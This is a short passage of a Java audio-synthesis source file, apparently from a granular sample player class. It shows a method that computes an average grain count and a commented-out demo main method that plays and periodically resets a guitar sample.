* Calculates the average number of Grains given the current grain size and grain interval.
* @return the average number of Grains.
*/
public float getAverageNumberOfGrains() {
return grainSizeEnvelope / grainIntervalEnvelope;
}
// public static void main(String[] args) {
// AudioContext ac = new AudioContext();
// ac.start();
// //clock
// Clock c = new Clock(ac, 500);
// ac.out.addDependent(c);
// GranularSamplePlayer gsp = new GranularSamplePlayer(ac, SampleManager.sample("/Users/ollie/git/HappyBrackets/HappyBrackets/data/audio/guit.wav"));
// gsp.getRateUGen().setValue(0.1f);
// ac.out.addInput(gsp);
// c.addMessageListener(new Bead() {
// @Override
// protected void messageReceived(Bead bead) {
// if (c.getCount() % 32 == 0) {
// gsp.reset();
// }
// }
// });
// }
}
| {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.